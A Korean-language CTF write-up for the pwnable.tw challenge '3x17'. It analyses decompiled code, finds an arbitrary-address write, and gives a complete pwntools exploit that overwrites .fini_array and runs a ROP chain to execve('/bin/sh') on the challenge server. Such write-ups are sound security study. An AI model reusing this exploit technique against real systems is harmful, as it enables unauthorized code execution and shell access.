Pwnable/writeup

Pwnable.tw - 3x17

Kon4 2022. 7. 29. 16:06

gdb로 바이너리 분석해 보니, v4에 입력한 값을 전달한다는 것을 알 수 있다.

 

즉 sub_40EE70은 atoi이다.

실제로 문자 “ABCD”를 넣으니 필터링 된것을 알 수 있다. 즉 atoi 정수 형태의 문자만 입력받아 정수로 바꿔준다.

 

 

int result; // eax
  char *v4; // [rsp+8h] [rbp-28h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  result = (unsigned __int8)++loop_cnt;
  if ( loop_cnt == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, buf, 0x18uLL);
    v4 = (char *)(int)atoi((__int64)buf);       // 뭔가 이상한 작업을 하고 v4에 넣는다.
    write(1u, "data:", 5uLL);
    read(0, v4, 0x18uLL);                       // v4를 주소로 그 안에 있는 곳에 데이터를 씌운다.
    result = 0;
  }
  if ( __readfsqword(0x28u) != v6 )
    sub_44A3E0();
  return result;
}

코드를 보면 char *v4 로 v4는 포인터이다. 즉 v4 = addr 이며 , 이를 참고하여 read함수에 주소를 전달하여 그 주소에 있는 값을 read(0, v4, 0x18uLL); 통해 입력받는다. 이때 입력 길이는 둘다 0x18, 24이다.

 

그럼 우리가 입력할 수 있는 길이는 24이니까, 주소로 8바이트를 정수 값으로 전달 할 수 있을지 확인 해보았다. 확인해보니, 길이가 19이므로 충분히 전달 가능하다.

하지만… atoi 내부에서 뭔가 처리를 거치고 4바이트 까지만 받는다.

결국 aaw 가 가능하다.

Found vuln! → AAW

문제는 현재 덮여쓰여서 익스할 곳이 없다..

0x000000004b4000 0x000000004ba000 0x000000000b3000 rw- /root/ctf/pwntw/317/3x17

4931584

call 0x40f940 후 call 0x40f6c0로 종료

.init_array && .fini_array

 

음 설마했던 init_array, fini_array가 쓰기 권한이 있다.. 그럼 우리는 충분히 익스 가능하다. ROP chaining으로!

'''
  [15] .init_array           SHT_INIT_ARRAY   0x4b40e0  0xb30e0     0x10      0x8 UNKNOWN_FLAG  0x0  0x0      0x8
  [16] .fini_array           SHT_FINI_ARRAY   0x4b40f0  0xb30f0     0x10      0x8 UNKNOWN_FLAG  0x0  0x0      0x8

'''

익스

from pwn import *

context.log_level = 'debug'
context.terminal = ['urxvtc', '-e', 'sh', '-c']
context.arch = 'amd64'
#context.arch = 'i386'
ip = "chall.pwnable.tw"
port = 10105
p = remote(ip, port)

file_name = "./3x17"
#libc_name = ""
#p = process(file_name)#, env={'LD_PRELOAD':libc_name}
e = ELF(file_name)
#libc = ELF(libc_name)

def slog(name, addr): return success(": ".join([name, hex(addr)]))

'''
  [15] .init_array           SHT_INIT_ARRAY   0x4b40e0  0xb30e0     0x10      0x8 UNKNOWN_FLAG  0x0  0x0      0x8
  [16] .fini_array           SHT_FINI_ARRAY   0x4b40f0  0xb30f0     0x10      0x8 UNKNOWN_FLAG  0x0  0x0      0x8

'''
pause()
fini_array = 0x4b40f0
fini = 0x402960
call_sys = 0x00000000004022b4
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
pop_rax = 0x000000000041e4af

leave_ret = 0x0000000000401c4b

p.sendlineafter("addr:", str(fini_array))
p.sendafter("data:", p64(fini) + p64(0x401B6D))

#loop start
p.sendlineafter("addr:", str(e.bss()))
p.sendafter("data:", "/bin/sh")

p.sendlineafter("addr:", str(fini_array + 16))
p.sendafter("data:", p64(pop_rdi) + p64(e.bss()))
p.sendlineafter("addr:", str(fini_array + 16*2))
p.sendafter("data:", p64(pop_rsi) + p64(0))
p.sendlineafter("addr:", str(fini_array + 16*3))
p.sendafter("data:", p64(pop_rdx) + p64(0))
p.sendlineafter("addr:", str(fini_array + 16*4))
p.sendafter("data:", p64(pop_rax) + p64(0x3b))
p.sendlineafter("addr:", str(fini_array + 16*5))
p.sendafter("data:", p64(call_sys))

p.sendlineafter("addr:", str(fini_array))
p.sendafter("data:", p64(leave_ret))

p.interactive()